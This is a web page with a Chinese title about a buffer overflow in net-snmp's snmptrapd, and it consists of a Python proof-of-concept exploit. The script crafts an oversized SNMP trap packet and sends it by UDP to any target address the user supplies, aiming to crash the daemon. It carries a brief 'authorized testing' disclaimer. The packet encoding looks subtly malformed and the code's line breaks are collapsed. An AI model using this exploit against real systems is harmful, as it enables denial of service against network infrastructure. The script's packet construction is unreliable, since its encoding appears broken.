CVE-2025-68615 net-snmp snmptrapd缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-68615 PoC - net-snmp snmptrapd Buffer Overflow Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def create_snmp_trap_packet(): """ Create a malformed SNMP Trap packet to trigger buffer overflow. This is a simplified example - actual exploit may require more sophisticated packet crafting. """ # SNMPv1 Trap PDU packet = b'\x30' # SEQUENCE # Community string (normal field) community = b'public' # Enterprise OID enterprise = b'\x06\x08\x2b\x06\x01\x04\x01\x01\x01' # Generic trap type generic_trap = b'\x00' # coldStart # Specific trap type specific_trap = b'\x00' # Timestamp timestamp = b'\x43\x01\x00\x00' # Variable bindings - intentionally malformed to trigger overflow # This creates an oversized varbind list varbind_data = b'\x41' * 10000 # Oversized data # Construct the trap PDU trap_pdu = b'\xa7' + struct.pack('!H', len(enterprise + generic_trap + specific_trap + timestamp + varbind_data)) trap_pdu += enterprise + generic_trap + specific_trap + timestamp + varbind_data # Community + Trap PDU data = community + trap_pdu # SNMP Message wrapper message = b'\x30' + struct.pack('!H', len(data)) message += data return message def send_exploit(target_ip, target_port=162): """ Send the exploit packet to target snmptrapd service. """ print(f"[*] Creating malicious SNMP Trap packet...") packet = create_snmp_trap_packet() print(f"[*] Packet size: {len(packet)} bytes") print(f"[*] Sending packet to {target_ip}:{target_port}...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, target_port)) sock.close() print(f"[+] Packet sent successfully!") print(f"[!] Check if snmptrapd process crashed or became unresponsive") except Exception as e: print(f"[-] Error sending packet: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 162") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 162 print(f"[*] CVE-2025-68615 PoC for net-snmp snmptrapd") print(f"[*] Target: {target}:{port}") send_exploit(target, port)